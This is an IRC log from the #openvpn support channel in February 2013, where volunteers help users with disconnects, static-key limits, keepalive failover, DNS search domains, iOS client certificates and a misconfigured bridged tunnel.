18:19 -!- brute11k [~brute11k@89.249.235.210] has quit [Read error: Connection reset by peer]
18:31 < Suterusu> OpenVPN log: http://pastebin.com/hCikgsey
18:31 < Suterusu> OpenVPN server conf:  http://pastebin.com/7iKNP0uN
18:31 < Suterusu> Iunno from local config, aint fouind that, I jus use KDE's network manager. any local logs of interest?
18:37 -!- nsgn2 [~nsgn@cpe-24-28-31-68.austin.res.rr.com] has quit [Quit: Leaving]
18:45 -!- JSharpe [~JSharpe@37.220.15.234] has quit [Quit: Leaving]
18:57 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
18:57 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
19:00 -!- mikeybs [~michael@cpe-67-248-128-94.nycap.res.rr.com] has quit [Quit: mikeybs]
19:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:20 <@ecrist> we don't recomment network manager around here
19:20 <@ecrist> we need local client config to help
19:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
19:37 -!- p3rror [~mezgani@41.249.131.248] has quit [Ping timeout: 260 seconds]
19:45 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
19:53 < pekster> Suterusu: The TCP socket is being reset, causing the disconnect. This is completely independent of the bad source address message. See f.eg, line 51 in the first paste
19:54 < pekster> The client logs would possibly tell you why, but the server is shutting down a connection when the TCP stack tells it the host no longer wishes to communicate any further
20:00 -!- nickmoeck [~nickmoeck@205.185.118.253] has quit [Quit: leaving]
20:13 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
20:23 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
20:29 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
20:33 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
20:42 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
20:51 -!- mikeybs [~michael@cpe-67-248-128-94.nycap.res.rr.com] has joined #openvpn
20:54 -!- mikeybs [~michael@cpe-67-248-128-94.nycap.res.rr.com] has left #openvpn []
21:18 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
21:23 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Remote host closed the connection]
21:23 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
21:28 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-fzgpavylrsfwposr] has quit [Read error: Operation timed out]
21:28 -!- b00gz_ [~uid6869@gateway/web/irccloud.com/x-kkrfkdubixvsunqu] has joined #openvpn
21:29 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Ping timeout: 264 seconds]
21:29 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
21:33 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
21:48 -!- roboman2444 [~roboman24@unaffiliated/roboman2444] has quit [Ping timeout: 248 seconds]
22:19 -!- odoacre [~antonio@us.happylatte.com] has quit [Ping timeout: 255 seconds]
22:19 -!- odoacre [~antonio@us.happylatte.com] has joined #openvpn
22:21 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
22:21 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
22:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:21 -!- mode/#openvpn [+o krzee] by ChanServ
22:27 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 260 seconds]
22:27 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 260 seconds]
22:44 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
22:45 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
22:48 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
23:04 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
--- Day changed Mon Feb 25 2013
00:36 -!- corretico [~luis@190.211.93.38] has quit [Remote host closed the connection]
00:38 -!- corretico [~luis@190.211.93.38] has joined #openvpn
01:16 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
01:37 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
01:49 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
02:18 -!- sejo [~SeJo@fosdem/staff/sejo] has joined #openvpn
02:19 < sejo> hey all I have a openvpn tunnel (udp 2 directions) between 2 servers, when trying to add a third server the tunnels fail
02:19 < sejo> is there a guide somewhere on how to do it?
02:29 -!- thinkHell [~Hell@85.15.47.27] has quit [Quit: ["pop()"]]
02:42 < matsh> Why does it fail?
02:45 <@krzee> are you using static keys?
02:46 <@krzee> or maybe re-using certs for the 2 clients?
02:46 <@krzee> ^ sejo
02:54 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 264 seconds]
02:57 < sejo> I use stared key
02:57 < sejo> one for both clients
02:57 < sejo> is that incorrect
02:58 < sejo> do i need a new shared key per client?
02:59 < sejo> this is the config that works with only 1
02:59 < sejo> http://dpaste.com/992567/
03:00 < sejo> I copied that for the second server and now none of the two (old and new) won't connect
03:00 < sejo> do I need a new tun and a new shared key?
03:06 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
03:07 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:54 -!- dazo_afk is now known as dazo
03:55 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
04:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:13 -!- zz_AsadH is now known as AsadH
04:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
04:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
04:28 -!- mode/#openvpn [+o plaisthos] by ChanServ
04:33 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
04:38 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
05:00 < EugeneKay>  If oyu want >1 crelationsihip, use TLS.
05:00 < EugeneKay> Static Key is extremely limited
05:10 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 245 seconds]
05:13 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
05:21 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
05:37 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Quit: leaving]
05:59 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Quit: Yippee-kay-yay]
06:03 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
06:15 -!- brute11k [~brute11k@89.249.235.210] has quit [Read error: Connection reset by peer]
06:20 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
06:47 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:04 -!- master_of_master [~master_of@p57B525AE.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
07:06 -!- master_of_master [~master_of@p57B5596B.dip.t-dialin.net] has joined #openvpn
07:25 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
07:38 -!- ade_b [~Ade@ip-109-46-161-95.web.vodafone.de] has joined #openvpn
07:38 -!- ade_b [~Ade@ip-109-46-161-95.web.vodafone.de] has quit [Changing host]
07:38 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:57 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
08:15 -!- JSharpe_ [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
08:16 -!- JSharpe_ [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Client Quit]
08:17 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
08:36 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
08:43 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 246 seconds]
08:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:47 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:49 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
08:49 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:04 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 252 seconds]
09:06 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
09:11 -!- dougquaid [~brian@pool-173-72-191-174.clppva.fios.verizon.net] has joined #openvpn
09:16 -!- sqwerty [~sqwerty@nl1.tunnelninja.com] has joined #openvpn
09:16 -!- sqwerty [~sqwerty@nl1.tunnelninja.com] has quit [Changing host]
09:16 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
09:18 < dougquaid> I've got two openvpn servers, a primary and a backup. Each client has two remotes specified. Ideally the clients would only use the backup if the primary is totally inaccessible, but every so often one client won't be able to reconnect to the primary server on ping-restart, even though the primary server is up. What is a good combo of ping-restart keepalive, etc options to keep this from happening?
09:19 < dougquaid> The clients are all servers, so they should always be connected to the VPN
09:19 < pekster> There really isn't one that will "keep it" from happening as the Internet sometimes looses/drops/delays packets in ways you cannot predict or prevent
09:19 < dougquaid> I was afraid of that
09:20 < pekster> You could write some intelligent code to keep trying a single remote host from your client unless it has several consecutitive failures, or set up some smart logic on your server's backends that denies connections on the backup unless the primary is really down
09:20 < pekster> (maybe the backup is also a client of the primary, and if it looses a connection for more than X minutes it starts up)
09:20 < dougquaid> That's an interesting idea
09:21 < pekster> Not a great way to get clients "back" to the primary later, besides disconnecting them
09:21 < dougquaid> My thought of a quick and dirty fix was to specify the primary server 2 or 3 times in the list of remotes, then specify the backup
09:22 < pekster> I'm not sure that works how you expect, and if it did you're just postponing the condition, not preventing it
09:23 < pekster> All depends on the reason for the disconnect and how stable the link is when it comes back
09:26 < dougquaid> I'm not sure of the reason. All I see in my client logs is "UDPv4 link remote: [AF_INET]x.x.x.x:1194" followed by "[UNDEF] Inactivity timeout (--ping-restart), restarting" a minute later
09:28 < pekster> Depends on your keepalive settings, but that means that the client got no openvpn ping (not icmp ping - this one is uni-directional and stateless) for the timeout period
09:29 < pekster> !keepalive
09:29 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
09:33 < dougquaid> I haven't specified keepalive or ping in the clients. I'll try those and see if it helps. Thanks
09:34 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
09:35 < pekster> dougquaid: That can be pushed from the server. The manpage shows you the exact expansion depending on if you define it on the server or client side
09:39 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:42 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Read error: Operation timed out]
09:48 <@plaisthos> on loosing connection openvpn will first try to reconnect to the old server and if that fails move to the next one
09:59 -!- sqwerty [~sqwerty@cpc3-aztw22-2-0-cust516.aztw.cable.virginmedia.com] has joined #openvpn
09:59 -!- sqwerty [~sqwerty@cpc3-aztw22-2-0-cust516.aztw.cable.virginmedia.com] has quit [Changing host]
09:59 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
10:16 -!- dweez [dweez@unaffiliated/dweez] has joined #openvpn
10:25 -!- dweez [dweez@unaffiliated/dweez] has quit [Remote host closed the connection]
10:43 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
10:43 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
10:52 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:53 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:53 -!- mode/#openvpn [+v s7r] by ChanServ
11:05 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 260 seconds]
11:09 < dougquaid> When I make changes to my server config is it possible to get openvpn to read the new config without restarting the whole service and disconnecting clients? Also, can I force a push of new directives down to the clients?
11:10 < pekster> See the section titled 'SIGNALS' in the manpage: a HUP will re-read the config, but it'll disconnect clients in the process
11:10 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:10 < pekster> Clients get new push directives when they reconnect; you can use a --client-connect script to send options to clients dynamically, thus you can edit what's pushed without needing to HUP or restart the service
11:11 -!- nameless` [~nameless@u1c.eu] has left #openvpn []
11:11 < dougquaid> ok, thanks
11:14 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 260 seconds]
11:15 -!- MorgyN [~mig@178.63.57.253] has quit [Ping timeout: 245 seconds]
11:16 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
11:17 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
11:21 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Remote host closed the connection]
11:22 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Read error: Connection reset by peer]
11:25 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
11:27 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
11:31 -!- MeanderingCode [~Meanderin@71-213-161-193.albq.qwest.net] has joined #openvpn
11:33 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
11:35 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:40 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 252 seconds]
11:41 -!- takamichi [~Takamichi@c101-159.i07-26.onvol.net] has quit [Ping timeout: 276 seconds]
11:42 -!- takamichi [~Takamichi@c101-159.i07-26.onvol.net] has joined #openvpn
11:54 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
11:58 -!- AsadH is now known as zz_AsadH
12:07 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 252 seconds]
12:09 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
12:13 -!- Suterusu1 [~EyeR@host81-152-141-152.range81-152.btcentralplus.com] has joined #openvpn
12:16 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 252 seconds]
12:17 -!- failshell [~failshell@lpr157.lapresse.ca] has joined #openvpn
12:18 < failshell> hello. openvpn is sending my client one domain name for searches as domain example.com in /etc/resolv.conf
12:18 < failshell> i would like to push the option search example.com sub.example.com to /etc/resolv.conf
12:18 < failshell> how do i do that?
12:18 < failshell> cant find in the doc
12:20 <@dazo> failshell: iirc ... only one search domain can be pushed ... not even sure the DHCP protocol supports multiple search domains
12:20 < pekster> resolv.conf claims to be "limited to six domains with a total of 256 characters"
12:21 -!- Suterusu1 [~EyeR@host81-152-141-152.range81-152.btcentralplus.com] has quit [Ping timeout: 252 seconds]
12:21 < failshell> dazo: it does, its a standard DHCP option
12:21 < failshell> actually, i think i found
12:21 < pekster> Pushing multiple options might work, although I'm not sure if the stock Unix-like scripts to peak at that info as pushed from openvpn support it out of the box
12:25 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
12:34 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:34 -!- mode/#openvpn [+v s7r] by ChanServ
12:34 < failshell> turns out i can do it at the client level
12:34 < failshell> easier
12:34 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
12:35 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
12:36 -!- failshell [~failshell@lpr157.lapresse.ca] has quit [Remote host closed the connection]
12:38 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
12:46 -!- MeanderingCode [~Meanderin@71-213-161-193.albq.qwest.net] has quit [Remote host closed the connection]
12:52 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 256 seconds]
12:53 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
13:06 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Read error: Operation timed out]
13:13 -!- AlxRogan [~alxrogan@procfail.net] has joined #openvpn
13:14 < AlxRogan> !welcome
13:14 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:14 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:14 < AlxRogan> !goal
13:14 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:16 < AlxRogan> I would like to access the internet over my VPN. I'm running openvpn from ubuntu repo, 2.2.1 with iphone 5 running ios 6.1.2. Trying to use the iphone configuration utility so that I can enable Connect on Demand, but I'm getting certificate errors, which I believe are regarding my ca cert
13:16 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:17 < EugeneKay> Try getting things set up with a laptop first to make sure the server is configured correctly, then port the configuration onto your phone
13:18 < AlxRogan> EugeneKay: definitely an option, I was just hoping someone had run into this specific issue regarding the X509 error before using IPCU. I've seen lots of people using a modified ovpn file with the ca embedded in the file, but that won't work for the IPCU
13:18 < AlxRogan> thanks though
13:18 < EugeneKay> Without logs I have no idea what the specific issue is :-p
13:19 < EugeneKay> "Real" computers are much easier to log/debug, which is why I suggest starting there
13:19 < AlxRogan> what's the best way for me to display them, just paste into channel or something like pastebin?
13:19 < EugeneKay> !paste
13:19 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
13:20 < AlxRogan> agreed, I definitely am trying the hardest option first...going to step back and go with the itunes method first, if that doesn't do it, then I'll fall back to laptop
13:20 < AlxRogan> http://pastebin.com/9DTW9zY8
13:20 -!- jamesbond-4711 [~jamesbond@unaffiliated/jamesbond-4711] has joined #openvpn
13:20 -!- dazo is now known as dazo_afk
13:20 < AlxRogan> are the logs from device, no server logs as it never tries to connect
13:21 < EugeneKay> Yeah, you didn't laod the cert right
13:21 < EugeneKay> I don't own any Apple products, so I can't give much in the way of advice for the format that this client is expecting
13:22 < AlxRogan> EugeneKay: gotcha...it seems to be a disconnect between what apple's keychain is allowing and the polarssl library is expecting
13:22 < AlxRogan> and it's very possible it just won't work that way for now
13:23 < AlxRogan> I appreciate the responses though :)
13:25 < jamesbond-4711> hi
13:27 < jamesbond-4711> I need some advice how to start: I'm considering installing an openVPN server on debian which I would like to use with an iphone as the client (openVPN connect app). Is this the right howto I should follow to set up the server: http://wiki.openvpn.eu/index.php/Config_ServerNET_Routing ?
13:27 <@vpnHelper> Title: Config ServerNET Routing – OpenVPN Wiki (at wiki.openvpn.eu)
13:29 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
13:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:34 < pekster> jamesbond-4711, you probably want the official howto:
13:34 < pekster> !howto
13:34 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:34 < AlxRogan> EugeneKay: just FYI, got it working using the iTunes method, now just tweaking the server side stuff for proxy settings/etc
13:35 -!- vraa__ [~speed_rac@h85.188.213.151.dynamic.ip.windstream.net] has joined #openvpn
13:36 < jamesbond-4711> pekster: wow, that's a lot to read and will keep me busy for some time :-)
13:36 < jamesbond-4711> pekster: anything in particular I should be aware of when I want to use the iphone as the client?
13:37 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
13:38 -!- vraa__ [~speed_rac@h85.188.213.151.dynamic.ip.windstream.net] has quit [Client Quit]
13:39 < pekster> I don't have an iDevice so I can't say; your best bet is to get it working on a PC first as a client, then import that config into the iDevice
13:40 < pekster> The integrated setup on the phone makes it hard/impossible to get accurate logs/configs to debug when things go wrong
13:43 < AlxRogan> jamesbond-4711: this helped me out a lot. http://ifkbct.blogspot.com/2013/02/finally-they-did-it-openvpn-on-ipad-and.html
13:43 <@vpnHelper> Title: If Keyboards Could Talk: Finally they did it ! openVPN on iPad and iPhone (at ifkbct.blogspot.com)
13:43 < jamesbond-4711> ic, then I should probably get it working with a linux client
13:45 < jamesbond-4711> AlxRogan: thx - with Google I found dozens of instructions how to setup Apple clients. But what I am looking for is a tutorial that describes how to setup an openVPN server especially for ios devices as clients (found none so far).
13:46 < AlxRogan> jamesbond-4711: I loosely followed this guide for the server side. http://library.linode.com/networking/openvpn/ubuntu-10.04-lucid#sph_tunnel-all-connections-through-the-vpn
13:46 <@vpnHelper> Title: Secure Communications with OpenVPN on Ubuntu 10.04 (Lucid) – Linode Library (at library.linode.com)
13:47 < jamesbond-4711> AlxRogan: thank you! :-)
13:48 < AlxRogan> jamesbond-4711: np...good luck!
13:53 < pekster> You don't really need to do anything "different" to support an iOS vs Windows vs Linux, besides the obvious "get the config to the device" step
13:53 < pekster> openvpn is platform-neutral as a protocol
13:55 < jamesbond-4711> pekster: good to know. As far as I know ios devices, I thought that using ios as the client implies some restrictions on the server setup...
13:56 < pekster> I know android doens't support tap (at least on non-rooted devices) but I don't really  know about iOS
13:56 < pekster> Unless you're doing exotic things you should be fine
13:56 < jamesbond-4711> cool
13:57 < pekster> !iphone
13:57 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
13:57 < pekster> That link might only apply to iOS 4, so check that key readability thing
13:59 < jamesbond-4711> I guess that should be fixes after 3 years now :)
14:03 < pekster> Well, not until iOS 5
14:03 < pekster> I think
14:03 < pekster> Yay closed-source!
14:10 -!- funjon [jdisher@asano.parad.net] has joined #openvpn
14:10 -!- funjon [jdisher@asano.parad.net] has left #openvpn []
14:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
14:19 <@ecrist> pekster: it's not closed source by choice
14:22 < pekster> The security flaw was in iOS, not openvpn. And yes, I understand the openvpn+iOS app deal
14:31 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:33 -!- zz_AsadH is now known as AsadH
14:39 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 246 seconds]
14:41 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:46 -!- AlxRogan [~alxrogan@procfail.net] has quit [Quit: leaving]
14:47 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
14:53 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
14:57 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
15:01 -!- MarKsaitis_ [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:02 -!- MarKsaitis_ [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
15:02 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:08 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
15:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
15:12 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
15:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:12 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:37 -!- mode/#openvpn [+o krzee] by ChanServ
15:39 -!- AsadH is now known as zz_AsadH
15:48 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
15:54 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:56 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:12 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
16:14 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
16:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
16:29 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
16:35 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
16:44 < neilhwatson> I have a problem with my bridge mode VPN.  All previous checks with folks on this channel indicate that the tunnel is connected.  The tunnel routes properly via my ISP to maintain itself.  The tunnel is supposed to become the default route.  I think that this may be where the problem lies.  Once the tunnel is connect no traffic is route out, on any interface. A tcpdump on interface 'any' shows no traffic when
16:44 < neilhwatson> https://gist.github.com/neilhwatson/5025038
16:44 <@vpnHelper> Title: openvpn configs (at gist.github.com)
16:46 < pekster> Your message got cut off after "shows no traffic when"
16:46 < pekster> (missing splitlong.pl if you're an irssi user)
16:47 < neilhwatson>  Once the tunnel is connect no traffic is route out, on any interface. A tcpdump on interface 'any' shows no traffic when I ping 8.8.8.8.
16:47 < pekster> What is that routing output from? the client?
16:48 < neilhwatson> Yes
16:48 < pekster> Why are you using a bridge on the client? What's the network setup
16:48 < pekster> And where is tap0 in all of this? Is that actually bridged to something?
16:49 < neilhwatson> tap0 is attached to br0
16:49 < pekster> huh?
16:49 < pekster> No, don't do that
16:50 < pekster> Also, you're somehow missing the host-route (/32) to the VPN server's IP via your default gateway
16:50 < pekster> Unless you've mistakenly replaced it with over-zealous hiding of your IPs on line 16
16:50 < pekster> (which is why this kind of replacement is bad and makes life really hard if you want help and don't know what you're doing when you hide IPs)
16:51 < pekster> tap0 is a virtual address. It does *not* belong on a bridge on the client-side like that
16:53 < neilhwatson> My mistake.  I will change tap0
16:54 < pekster> You don't need any client bridge unless you're actually bridging them. Chances are you can just undo all the br0/br1 stuff and go back to direct eth0/eth1/watever connections
16:55 < pekster> Only the server needs tap0 & the physical iface on a bridge in a bridged setup
17:00 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:00 -!- p3rror [~mezgani@41.249.25.162] has joined #openvpn
17:04 -!- kantlivelong [~kantlivel@47.23.189.90] has joined #openvpn
17:05 -!- marksaitis [~marksaiti@86.28.107.165] has joined #openvpn
17:06 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
17:07 -!- marksaitis [~marksaiti@86.28.107.165] has quit [Remote host closed the connection]
17:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds]
17:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
17:08 -!- mode/#openvpn [+o plaisthos] by ChanServ
17:14 -!- jamesbond-4711 [~jamesbond@unaffiliated/jamesbond-4711] has left #openvpn ["Leaving"]
17:19 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has joined #openvpn
17:23 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 246 seconds]
17:25 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
17:29 < neilhwatson> Thanks pekster.  You've been very patient with me. Routing is working now.
17:39 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
17:43 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
17:46 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 276 seconds]
18:09 -!- [fred] [~fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
